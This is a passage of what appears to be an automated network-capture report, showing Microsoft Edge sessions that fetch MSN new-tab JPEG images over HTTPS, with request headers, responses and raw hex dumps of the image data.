2024-11-22 13:44:05 UTC	16384	IN	Data Raw: 3a ed 99 c0 ec d9 30 f0 d2 9f 37 e4 01 f7 6f ad 33 a2 e2 4f ed 05 3b 06 da 49 c5 f9 db b7 55 1a 54 6a a8 26 3e 12 79 7c d9 eb b6 17 01 37 50 23 15 83 3e 61 d2 ad 5d 44 9b 96 f5 85 7c 69 32 39 c2 66 bb de d1 d3 1e 97 e8 c8 69 9e 7b 0c 4e e8 0d c9 b7 89 a7 be cc 78 33 f4 80 63 54 11 81 83 1e 7f 36 eb 76 6e d7 4a 24 2b e3 51 20 7f 0e 7e 0f a3 51 9d 19 4b 54 01 45 2b 60 a8 4c 6d 8c cb 60 4a 7e 28 9c 53 94 6e c5 ee dc b0 a1 1a 8a 13 ab 7e ad 98 81 df 56 09 42 50 47 f9 ce 98 83 d9 26 b3 84 d7 c1 ca 92 65 69 7d 0a 16 82 23 b3 04 d7 51 23 b8 e5 39 66 c7 32 12 4c a4 73 51 cf 61 a9 2e 93 79 12 90 6b 2a 33 33 99 dd 40 7e 6e ee 20 18 82 73 56 7f 6d fc 72 6c 42 35 29 52 01 39 52 29 58 ae f8 64 f4 ca 36 ee 42 89 92 37 8f 1d 83 7c bc e2 7d 38 cc 1d b9 4f 9b db e9 ee 64 Data Ascii: :07o3O;IUTj&>y\|7P#>a]D\|i29fi{Nx3cT6vnJ$+Q ~QKTE+`Lm`J~(Sn~VBPG&ei}#Q#9f2LsQa.yk*33@~n sVmrlB5)R9R)Xd6B7\|}8Od
2024-11-22 13:44:05 UTC	16384	IN	Data Raw: 14 07 f7 52 76 0a 12 7c df a3 e8 2f 21 20 85 aa da 7b 55 49 30 40 23 34 d0 c4 41 ac bf 0e 01 d3 53 3b a6 83 07 a3 67 a7 50 04 cc ea c4 c4 0e 06 6a f3 9c a9 02 3d 77 5e b0 ab 5d 2e 82 16 74 99 12 09 c9 39 bf 3a 24 1a 98 3b 23 2f 1c f7 32 54 ab 76 e8 a5 00 7b f8 06 04 dd 27 b2 9b 6a 1f cd 52 39 cb e7 f9 8e b6 4b df 89 a6 95 e2 1e 14 41 05 06 53 8e a3 2a 23 65 3e cc b2 a4 03 5a 03 84 cf 7b f3 b7 12 11 1a 53 07 3f aa 9c a3 bd 87 db 24 82 48 31 13 bd e4 d3 9a bd 54 55 d7 23 d2 2d 08 35 48 41 1c 52 47 38 a3 97 f9 12 04 29 48 fe d3 db 1c 0d 7b 9e 11 ba a4 24 e9 4c 98 cd ad 17 16 10 34 92 15 15 26 b9 d6 03 20 a7 1d dd ad b2 2c 1b c4 dc a4 c7 30 40 ff 00 4d 19 c6 14 91 20 a3 94 cf 98 1e 52 c2 49 0b 01 41 4b 82 27 31 f3 87 28 19 8d 47 f8 c4 f8 2d f5 61 93 b1 b0 17 Data Ascii: Rv\|/! {UI0@#4AS;gPj=w^].t9:$;#/2Tv{'jR9KAS*#e>Z{S?$H1TU#-5HARG8)H{$L4& ,0@M RIAK'1(G-a
2024-11-22 13:44:05 UTC	7952	IN	Data Raw: 8c 9c ea 95 46 dd b8 34 c6 22 a9 39 b1 e4 fc d9 f0 93 49 ab 4a ad 71 e7 1d ee 6d 14 0c 0a 71 c5 99 6c 15 52 32 c2 3c 5c 74 a7 f6 99 dc 59 f6 af a5 39 ca 4f 8b ca 6d d6 11 4b 88 d4 1d 03 2f e1 39 73 13 8f 26 f5 91 70 04 a8 10 45 52 6b 07 6e 5e 0d 42 e2 29 da 0a 13 94 7e 0f b4 a0 a8 fa 6b 8f ed 54 d7 70 9a 1f 78 7c 7c f9 ae 27 4a 78 a0 12 a5 db 5a 4a a1 43 03 8d 69 51 8f 17 a9 d1 ae fe a2 92 46 e3 8a a7 61 70 8b 6b 4c 41 41 34 38 0a 7c 3b b6 e4 dc b4 fa 5a 4e 93 a2 45 49 93 4a 50 cb bd 5c 15 8f 4f 5d 86 c2 d0 48 55 76 7b 86 40 13 8e 9e 25 d2 2f 25 5a 6d c8 13 f4 56 87 97 3d 92 e5 2a 06 a8 03 ff 00 51 23 bd e8 a5 ab 83 39 dc 5a 78 c8 40 49 83 0b 23 7e 7c 2a f8 22 95 51 57 30 3d c3 b4 28 1a 65 8f d6 83 3f ea 0e 5a ce 7a 6d e9 db a8 13 fe d4 3c 5d 94 84 94 61 Data Ascii: F4"9IJqmqlR2<\tY9OmK/9s&pERkn^B)~kTpx\|\|'JxZJCiQFapkLAA48\|;ZNEIJP\O]HUv{@%/%ZmV=Q#9Zx@I#~\|"QW0=(e?Zzm<]a
2024-11-22 13:44:05 UTC	16384	IN	Data Raw: d5 cd 61 35 1a 88 92 90 2b bf 2a 39 cb 5b ba 1d f0 0e eb ae 5b 28 d4 0a 89 06 00 d2 00 f0 98 f2 79 29 be 85 24 a4 85 02 33 8c b6 98 a1 c3 37 7d 55 d2 94 47 ee 38 ec db 57 88 56 b2 20 82 a8 20 1e 5c 0b a4 9d 09 9e 81 37 6c d9 fa 46 a5 18 00 ea 27 85 00 6d 55 c3 73 13 ca 68 07 0d 9b de 28 d1 9d 6b 58 93 00 ee 34 74 9b a9 ce 23 31 cc cb 56 fa 36 20 cb 97 14 92 21 47 bd aa dd d5 15 09 3b 7c 7c db cf a7 42 a4 a8 d3 68 ae df 63 bf cc a2 dd 12 80 37 40 1e 79 97 b6 a8 d6 d6 2a e2 44 ad 49 4a 64 1a c9 33 b8 e0 e5 6e ee 90 4e dd a7 2e 4d 17 2e ea 01 54 93 41 8f 96 c6 ad 29 d2 0e a0 27 c2 1b 4e 2d 67 02 63 2e df 59 a6 a8 1b bb 8b d1 e9 08 16 cc c6 67 1f b0 9f 17 87 ea 00 0d 72 1b 1a 2d de 83 a6 84 01 b3 66 34 dc c7 95 49 07 3b 36 6e 75 0a 04 46 fc 4c 89 c3 c9 90 8b Data Ascii: a5+9[[(y)$37}UG8WV \7lF'mUsh(kX4t#1V6 !G;\|\|Bhc7@yDIJd3nN.M.TA)'N-gc.Ygr-f4I;6nuFL
2024-11-22 13:44:05 UTC	16384	IN	Data Raw: 71 52 4c 48 49 29 c1 d2 94 55 41 90 48 8f c1 e7 b9 42 4a 84 e2 07 9b b6 81 38 89 c7 9b 66 15 0e 80 78 e7 3b b2 6c c2 47 93 52 54 98 c9 c8 94 8a 81 43 8b cc 09 0d be 02 9e 45 ae 46 d8 8c 47 cd ac 95 53 38 3c 5c 44 9c 6a dd 0c 74 8e 6e 68 ce 30 63 12 46 79 ee 75 aa 4b 28 03 0a 13 32 33 d8 e3 0a 06 94 db 3d ce 27 30 73 f7 e4 fb 54 97 34 05 98 19 2a ae 60 1c 61 a8 03 95 3c 9d c2 85 63 26 c6 71 80 7e 6e 52 d7 ae 43 8c b7 42 0e 42 a0 e6 de a0 15 cc 7b e4 c0 06 5b c2 88 34 97 35 90 23 e9 94 55 ac a7 63 2b 23 4f 7d cd 6b e5 9f bc 36 98 10 49 36 d4 14 92 64 78 37 7a ab 22 0a 89 00 ea 01 89 57 34 98 ee 74 d0 59 ea 6d df 55 d4 05 64 64 cc 08 a0 c0 61 bf 6b 70 57 4e 91 f4 9c aa 75 56 77 f6 bc 1e 05 b5 a9 16 a9 31 ac 19 c1 92 56 9b 97 92 8f 85 58 e5 5f b3 cd 60 b2 2b Data Ascii: qRLHI)UAHBJ8fx;lGRTCEFGS8<\Djtnh0cFyuK(23='0sT4*`a<c&q~nRCBB{[45#Uc+#O}k6I6dx7z"W4tYmUddakpWNuVw1VX_`+
2024-11-22 13:44:05 UTC	7952	IN	Data Raw: 54 59 24 27 4d b8 a4 04 d7 e6 03 09 5f a9 5c 51 85 5c 57 70 3b b3 63 e8 b2 9a 90 0f 3d 55 f2 76 2e db 98 09 a6 c2 91 1e 66 1a 5d be df 2e dd fb f1 b0 b9 3e 64 0d e0 aa a4 a8 ce d5 4d 7b df 24 f5 0a 3f 4a 8e d8 fa 48 df 25 e9 a4 53 b2 84 c6 d0 a1 a7 b9 5e 0d fa 16 71 03 70 9a 71 a3 3e 62 8f 28 af 1f e8 54 c4 7e 62 fd b4 56 e1 48 03 e8 4a 8c c7 21 40 f2 55 d6 6a 9d 4a 52 e7 e1 a9 3f d5 5f 93 d4 36 8e a9 5a b0 c2 9e 0a 9f 36 15 cf cb 83 a7 44 2b 31 04 ed 64 34 5f e5 b7 bd a4 86 ef a9 99 74 a9 30 53 49 dc 08 31 94 e7 5c 4c b0 ca c9 8e c0 9c 49 18 f0 c9 ec 84 ea 10 91 3f dc 0e 52 36 38 9e 98 a6 b0 39 e3 c6 68 5f 5a 9c 56 1e e6 54 62 6b bc 0e 66 3c 1c 00 ba b5 13 52 66 a4 d7 3c ab 83 d8 2b 13 92 60 91 59 15 dd 88 cf 6b 52 ae 50 e9 ec a8 13 31 5e 53 ec 7a ea ff Data Ascii: TY$'M_\Q\Wp;c=Uv.f].>dM{$?JH%S^qpq>b(T~bVHJ!@UjJR?_6Z6D+1d4_t0SI1\LI?R689h_ZVTbkf<Rf<+`YkRP1^Sz
2024-11-22 13:44:05 UTC	15417	IN	Data Raw: 02 89 1d ef 0d 2e f0 00 e6 c5 d4 d0 8c f7 87 c9 46 c8 d9 1f 3d 8d be b2 ee 11 5a 52 06 19 32 ca 8a 4d 53 98 26 45 7c e1 eb a9 ad e8 00 0d b2 7e 9a 56 22 73 e5 ed 71 28 52 7e 20 63 30 2b 1c 59 02 e9 51 09 a0 c2 7d c5 1d 69 52 0a ab 22 0d 46 3c c3 76 f9 88 08 ce d7 23 50 30 f7 c5 cd 48 cc 8a ee c6 18 a6 b8 47 37 a8 12 21 2f 86 ac 1d 4f 1f 7d ce 24 b6 01 12 b0 76 53 df 6b b9 48 ce a4 ec fb e0 f8 2f 0d dc 8b 44 0c 48 68 0a cc e2 e4 01 06 32 e6 d9 0a 02 82 9b dc 90 89 35 ec f3 60 0d 4e 9d 24 c5 71 cf 63 1d 24 ea 3c 99 8b 54 76 45 1c 52 35 6e cc 63 83 81 85 db 29 89 56 c1 1e c6 a3 7b 3e c8 8c a5 b5 48 ec a4 26 b2 04 9e fc b6 31 08 19 04 9a 52 38 d4 d6 5c 2a 63 22 2e 95 28 19 8f 7d c1 b0 e9 09 a9 ac e5 53 ab 63 a8 4a 6a 47 0c a8 da 02 94 0e 91 25 55 93 1e 5b 9d Data Ascii: .F=ZR2MS&E\|~V"sq(R~ c0+YQ}iR"F<v#P0HG7!/O}$vSkH/DHh25`N$qc$<TvER5nc)V{>H&1R8\*c".(}ScJjG%U[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49932	104.117.182.73	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:04 UTC	634	OUT	GET /tenant/amp/entityid/AA11MZ4M.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:44:05 UTC	521	IN	HTTP/1.1 200 OK Last-Modified: Mon, 28 Oct 2024 17:56:44 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MZ4M X-Source-Length: 114527 X-Datacenter: eastus X-ActivityId: 563d7a9e-178e-492b-b005-89c5d26f3b4e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114527 Cache-Control: public, max-age=231490 Expires: Mon, 25 Nov 2024 06:02:14 GMT Date: Fri, 22 Nov 2024 13:44:04 GMT Connection: close
2024-11-22 13:44:05 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-22 13:44:05 UTC	16384	IN	Data Raw: b6 22 26 79 a6 64 04 d3 74 02 41 94 82 74 a4 93 b9 57 bc 9c 11 8e 95 97 71 01 bd 70 96 69 75 45 dd 0b 96 ca bc ae d8 53 f3 3d c3 4f 04 d1 c2 1b fe eb e4 48 2e 28 8f a7 09 4f 81 dd 8a b5 a2 ce d5 46 53 08 32 d1 c8 df 29 90 08 8e 6c 84 6f 2e 38 20 db 4c b4 58 e8 ee 0f 89 3c 3d 40 e0 56 60 10 57 3f b9 8c cf 16 ba 75 e1 9d f6 f2 da 37 b8 fb af 09 c6 b2 a8 03 15 f3 cf 84 d7 97 31 9a 99 8e 85 f3 b9 61 71 7a 7e f6 3d eb e9 f0 f7 26 51 e3 ff 00 2d 97 69 e6 fa eb 5d 2a 3b 4c 0d 17 8e 6f 79 29 89 21 d2 a5 4b 2d 98 82 52 06 93 10 a0 18 12 19 40 01 d2 aa 50 00 14 a1 41 80 24 29 00 1d aa b0 80 0d 49 88 22 51 4e b0 42 eb 98 4c 24 2d ad 84 d0 10 08 dc ae 10 08 c0 11 98 1a a0 00 a8 59 f5 b8 90 d0 6f cd 0d 26 3b 08 b9 69 30 bd ad d4 af 17 c4 71 c3 40 7a 56 7a 76 e3 ed af Data Ascii: "&ydtAtWqpiuES=OH.(OFS2)lo.8 LX<=@V`W?u71aqz~=&Q-i]*;Loy)!K-R@PA$)I"QNBL$-Yo&;i0q@zVzv
2024-11-22 13:44:05 UTC	2888	IN	Data Raw: 4f a3 52 ed a8 d2 d7 0d c5 68 86 02 b9 b0 e1 a4 69 6a 59 cd ff 00 c7 68 57 a6 da ac a9 56 87 10 d2 72 d5 6b a6 e1 c6 1d fb b4 d8 e1 c9 7a fe 11 e0 87 33 16 11 3c 9c 24 11 b4 6a 39 85 d9 d4 8f 28 82 41 f8 75 5e 33 d7 c3 f1 ac fe ad 20 d2 2b b4 7f 4e bb 0c 80 e1 b1 e2 21 ed b6 06 16 f2 bb ae f3 ec 80 14 b9 00 05 2e 40 01 ca d0 00 72 a4 00 1c b9 00 07 2e 40 32 72 e4 03 20 ab 40 01 cb 90 00 12 14 00 16 b9 00 07 2e 40 01 4a d0 00 54 2e 40 01 d0 ad 00 05 2b 40 01 cb 90 00 72 e4 03 27 2b 40 01 4a d0 00 72 e4 00 6a 5c 80 41 ca d0 00 0a b4 00 14 ad 00 07 2e 40 01 cb 90 00 52 e4 00 1c ba 10 00 72 b4 00 1c b9 00 07 2a 84 00 16 b9 00 c9 ca d0 0c 29 72 01 07 2a 40 01 6a 90 0c 96 a9 00 c9 6a 90 0c 39 72 00 0a 56 99 00 e5 c8 00 39 52 64 02 d5 20 c0 5a a4 80 0b 5c 98 04 Data Ascii: ORhijYhWVrkz3<$j9(Au^3 +N!.@r.@2r @.@JT.@+@r'+@Jrj\A.@Rr)r@jj9rV9Rd Z\
2024-11-22 13:44:05 UTC	16384	IN	Data Raw: f2 c5 db dd 9e 19 a7 41 65 86 a5 13 4b 49 d6 49 53 dc 34 fe 9e c7 2c df 88 46 73 72 2c 3a d4 ac ad 89 71 88 4f 86 7b be 49 fd d5 af 4c ef 68 09 81 00 6f 54 3d 67 d3 a2 a1 d9 3d a1 f7 ec 26 cf 24 c6 81 ab 91 53 7c 13 37 b6 92 4f 31 4a 1b 38 de c1 23 ec bd a7 8b dd d1 3d 1d a9 84 80 00 08 4a 7b ae f8 23 5c 1b 22 d7 05 a9 39 f9 f2 68 a7 87 3a 71 4d 3e e9 84 e6 91 3b a3 2d d5 de cf 3f 55 a7 5b 59 4c a8 cc cb b6 6b 4c f1 af 2f 2d ca db 38 c2 a9 7b a9 0e b0 21 56 95 59 cb ce cb 1b a3 a9 d6 6d 56 1b 5c 2c b0 4b 1f 22 c0 d8 f4 ae 6e d5 ae 51 df 2f 54 73 61 93 e9 6c 23 c9 60 3a e5 1d 49 2d 7b 0d 36 6d 20 44 6d 85 e7 7f 75 3e 77 5e e7 f6 cf a2 37 35 10 38 97 96 90 0e 9d e9 6e 0e 24 82 d5 ae 33 6a 9a 61 ee 5d 22 ee f9 22 17 48 24 34 48 d7 c3 54 80 c7 d2 2e 9d 37 e2 Data Ascii: AeKIIS4,Fsr,:qO{ILhoT=g=&$S\|7O1J8#=J{#\"9h:qM>;-?U[YLkL/-8{!VYmV\,K"nQ/Tsal#`:I-{6m Dmu>w^758n$3ja]""H$4HT.7
2024-11-22 13:44:05 UTC	16384	IN	Data Raw: 02 97 c2 d4 11 c9 67 6e 8b 28 eb c6 79 6d 38 64 d3 75 20 2d aa 29 9b 8b a9 94 34 b8 f9 04 62 c0 d0 a5 16 cf 42 b9 51 b4 f4 c8 ab 10 ec 45 d3 22 ea c9 24 8e 6e 9d 17 32 aa 16 d3 dc 16 c7 96 eb a2 63 e9 cd f6 27 60 94 e5 4e 58 a5 b0 89 99 51 a9 35 d2 00 59 55 e5 67 9b 78 c7 0d f9 34 c8 94 79 48 e8 58 ce 13 b7 46 5c a9 1c 89 4d 5a ed 0c b4 d1 91 55 b0 54 aa 8d cc ba b1 e6 23 1a e2 cb 8a d3 2c 76 f3 75 9b 81 d2 14 ba a2 2d be 16 b0 39 af fb 1f 6e e3 e1 ab 48 0c 76 cb 15 93 25 b7 18 2c 72 9a ad ab a7 0c b7 34 c3 b3 d7 53 6e 3a c2 81 c2 f1 4d 7b 08 d1 d8 ae 6b 4e ce 5d 92 16 39 6e 24 b9 c4 ba de 93 d9 08 9f ea 13 37 d1 3f 2f 52 89 b7 9f 45 65 36 8b 27 6e f3 28 e7 35 bb 56 85 d9 cf cf aa fb f0 ac c5 e4 61 0b 83 75 ba 7a d1 5a 9d ee c3 d0 22 0f a8 fb 51 c0 fd 77 Data Ascii: gn(ym8du -)4bBQE"$n2c'`NXQ5YUgx4yHXF\MZUT#,vu-9nHv%,r4Sn:M{kN]9n$7?/REe6'n(5VauzZ"Qw
2024-11-22 13:44:05 UTC	7952	IN	Data Raw: e4 ef 27 d8 8a 0c 11 8e 83 c0 26 ce f2 92 94 8a e1 7f d2 3c 00 ea 54 5c 36 f5 a9 56 e1 da 5a a6 79 4e 38 8f e2 4b 19 7f 78 ed fa 2c f4 77 5e ab 96 09 2f a2 53 58 fc 0f 6a e6 d4 60 1f f2 0f 9e 84 27 66 ae 93 98 c7 b6 e2 ab 47 3f 6a ef 32 89 b4 d3 e7 98 7d 15 27 ab c4 be 70 74 78 18 ea 95 7f d7 61 f9 e4 84 d4 a6 07 fc 94 7a 11 7f f9 68 b7 b5 cb e1 b5 6b 48 15 2a 55 3a d5 61 e8 f6 22 7b c1 c5 87 90 f6 a7 cf ea fc 15 2a 2e af 7c 6d 2c a5 46 6d 5a 80 fb f4 fc 0a 38 6b b1 03 a0 7d 56 5c fe a9 f6 ad 2a e4 93 b6 36 7d 91 25 8e 35 9e 7f 5b 7c 0a 68 a4 d3 bf 93 42 cf e6 bd 35 f9 33 f9 a2 3d ef fd c3 f8 7d 8a 77 96 c6 ea d3 fe 55 3b bf ab f0 69 35 e8 ae 3d 18 dd fa d6 1b 84 e3 d9 ec 5a ce c9 1a 47 43 7f b4 b9 ec f1 74 5f a3 ae 5d 79 7e 2e 59 f5 fe 2c 6c bf 6b b1 4e Data Ascii: '&<T\6VZyN8Kx,w^/SXj`'fG?j2}'ptxazhkHU:a"{.\|m,FmZ8k}V\*6}%5[\|hB53=}wU;i5=ZGCt_]y~.Y,lkN
2024-11-22 13:44:05 UTC	16384	IN	Data Raw: d1 64 39 f9 4a da 64 e5 b7 4e 5c fd bf 37 a1 31 db d1 8a cb 1d 8e cc 24 2e ee b7 3e 3c cd bc 7f 86 f4 72 9a ba 6d 8a c1 65 ae 9e a6 0f 33 e1 bb 9a be 70 2b 2d 74 75 47 3b 83 e1 bb 9a 5e 66 f5 9a b7 ea 62 e2 e8 76 b4 bc c0 b3 56 fd 4c 1c 5d 0e d6 8f 9a 16 72 db a9 8b 8f e1 bb 13 fc d5 9f 2b 6e a6 2e 4f 86 eb d3 43 cd 59 d2 b5 ea 64 e4 f8 6e cd 27 0a b0 65 42 95 7d 48 73 74 3a 74 9e ee 28 ac e7 5d 57 56 91 58 7c 3b 7c dd 31 3c 71 6b 18 ab f8 8c 2b 92 fb 0f 46 36 7e f2 b0 57 47 5b 91 e7 7c 17 aa dc f3 d6 06 62 ba fa 9c 4f 2f e1 3d 6d 46 f7 9a b0 3c c2 bb ba 9c 1d 55 e5 74 3d 5e 98 df f3 02 c2 15 4a ef ea 70 f5 bc ae 87 a9 f0 de 8f 36 2b 11 95 b7 af 47 6e 29 9b c6 e9 7a 99 7b 6f 53 4e b8 fa af 3d e6 11 8a ef 99 6d c9 d4 f1 2e 16 3d 5e 87 b8 a3 c5 01 63 a1 b0 Data Ascii: d9JdN\71$.><rme3p+-tuG;^fbvVL]r+n.OCYdn'eB}Hst:t(]WVX\|;\|1<qk+F6~WG[\|bO/=mF<Ut=^Jp6+Gn)z{oSN=m.=^c
2024-11-22 13:44:05 UTC	16384	IN	Data Raw: b1 68 8f 8c d7 38 f0 fc fd 4b af 77 f4 fe 31 c7 f0 f1 f1 70 fc 39 eb 3e ce ef 8d 9c ba d4 45 cb 45 da d5 e2 cf fd ab 76 b9 39 dc 6f 11 5b 5a bc 30 1b fd ab a7 f7 7a 4f bf f8 63 26 13 f5 38 fa 70 f3 b9 5f 97 f9 75 5c f3 cb f4 80 52 e1 3f 55 5e 23 f8 43 7b 8f 5a 1c 85 c7 de a0 ff 00 b2 1c 1a 3c 46 55 a6 f3 f4 9f 72 ea 9e 3f 57 2c 9e d7 8f db fe 57 f0 ef 9f 4d f0 ec 78 67 c3 1b ef 54 ac ee 72 3a 93 59 4d ec 12 fe 1a 9e 5d b9 a7 a8 b8 a3 ab dc f2 90 ae 53 f5 d5 49 ec 7a e5 f6 ff 00 0a 98 59 df db 9a 58 a9 f0 f6 46 5a 6d 7c 7e e6 b9 dd eb 4e 99 81 e9 14 80 fb 3f 80 47 fe e5 ef c7 d3 4c 6f d6 fc c4 be d4 ed cf d7 6e cc 64 d7 13 1f 93 33 ef 40 9f e9 f0 d4 ce c8 a6 56 c3 f8 96 30 7a 9c df cc 40 5b ea f9 e7 94 f9 b9 74 e0 b6 6f 8f 6f 1b f2 7a 7b 9e 08 8c e2 38 c8 Data Ascii: h8Kw1p9>EEv9o[Z0zOc&8p_u\R?U^#C{Z<FUr?W,WMxgTr:YM]SIzYXFZm\|~N?GLond3@V0z@[tooz{8
2024-11-22 13:44:05 UTC	5904	IN	Data Raw: 9c de 40 90 3a 16 5f 96 e6 1f 7a 3a 7b d5 ca 53 16 37 1d f9 e9 59 64 94 f7 4b a3 cc 24 6b ea 07 ea 96 d6 d4 c1 e0 f5 f2 85 45 63 1d 79 6f 6a 99 78 18 0b 20 82 e7 12 74 b1 b7 8b 8a 8e 5a e0 08 31 b6 e1 3d 96 93 d3 5a 75 78 24 30 b1 90 73 07 1c 0c 12 7b 54 50 c2 64 c0 1c 95 5a 96 78 e3 ae fd da 0d cf 07 57 03 7d 9a 78 a2 02 f7 d9 b2 fd a9 ee 21 95 99 36 50 8d 5a f2 7f 2d ba 8a 61 60 c1 d7 e5 0b 5d ef c9 9e d8 f4 df 56 fa 11 ca e6 c9 7c ee 02 08 ec 43 96 23 51 d0 af 6c dc dd 36 f9 ba f4 93 49 ed 77 a4 37 4c 6c 0f 4e d4 b0 d0 1d 3a ca 76 92 30 c7 71 5e 69 4e 0c a8 f0 09 82 39 47 88 0b 38 b6 1e 23 d4 0e ec d0 aa 64 51 37 0d ae b6 1c e3 4c 46 59 d8 6d f3 d8 96 58 07 b8 ec 87 66 5e e3 29 cd 54 b2 cb 72 76 db 4d 7a 05 99 bf 50 99 fd ba f6 2a 69 70 3f a4 9d ed 6f Data Ascii: @:_z:{S7YdK$kEcyojx tZ1=Zux$0s{TPdZxW}x!6PZ-a`]V\|C#Ql6Iw7LlN:v0q^iN9G8#dQ7LFYmXf^)TrvMzP*ip?o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49933	104.117.182.73	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:04 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:44:05 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 11:08:13 GMT X-Datacenter: northeu X-ActivityId: 01e23b13-0c41-4720-81b8-4b40bbbf8b50 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG0W X-Source-Length: 87332 Content-Length: 87332 Cache-Control: public, max-age=163508 Expires: Sun, 24 Nov 2024 11:09:12 GMT Date: Fri, 22 Nov 2024 13:44:04 GMT Connection: close
2024-11-22 13:44:05 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-22 13:44:05 UTC	16384	IN	Data Raw: 41 c5 0f 56 17 26 a2 a5 49 f1 2f 75 d9 17 5a 7b c7 aa 3a c4 4c 82 b8 92 a5 48 e2 3d d7 6b a8 de 28 ab 07 62 b8 d5 a7 52 5c 15 ee bb 55 29 52 e3 f5 0f 14 62 eb 92 e2 bf 76 1d 6a 93 a9 72 fa a5 3e a1 e2 97 13 f7 61 d4 a8 a2 a9 72 ba 87 8a 9d 44 71 57 bb 0e ad 65 4a ca e6 9b b2 87 a8 ee 25 2e 27 ee c3 a7 59 52 b2 b9 a2 e1 08 fa a1 1c 4f dc f9 6e ea 14 eb 58 3a 81 17 50 71 4f 8f c0 e7 f2 db 5a 95 ac 95 8e 2a 56 12 af 85 73 f9 6b ea 15 2b 59 6a 09 56 38 84 ab e0 f9 fc b5 d6 a5 6b 25 61 4a c2 28 b9 b5 56 53 ac ac b5 21 ad 14 7c 9b 2b 4e b5 ce 2f 29 03 e3 f9 a7 47 19 4e 8e 85 68 ab 5c 8a cc c3 79 bf 25 a4 38 01 99 2e ee 36 01 44 ce 30 d6 23 29 dd be b5 2b 58 58 5c f7 86 34 4c e4 9d c3 47 13 dd 6b b8 d6 31 c1 a1 ff 00 1c 19 f4 f1 ec 95 e3 74 38 e5 31 6b 6b 2a 56 Data Ascii: 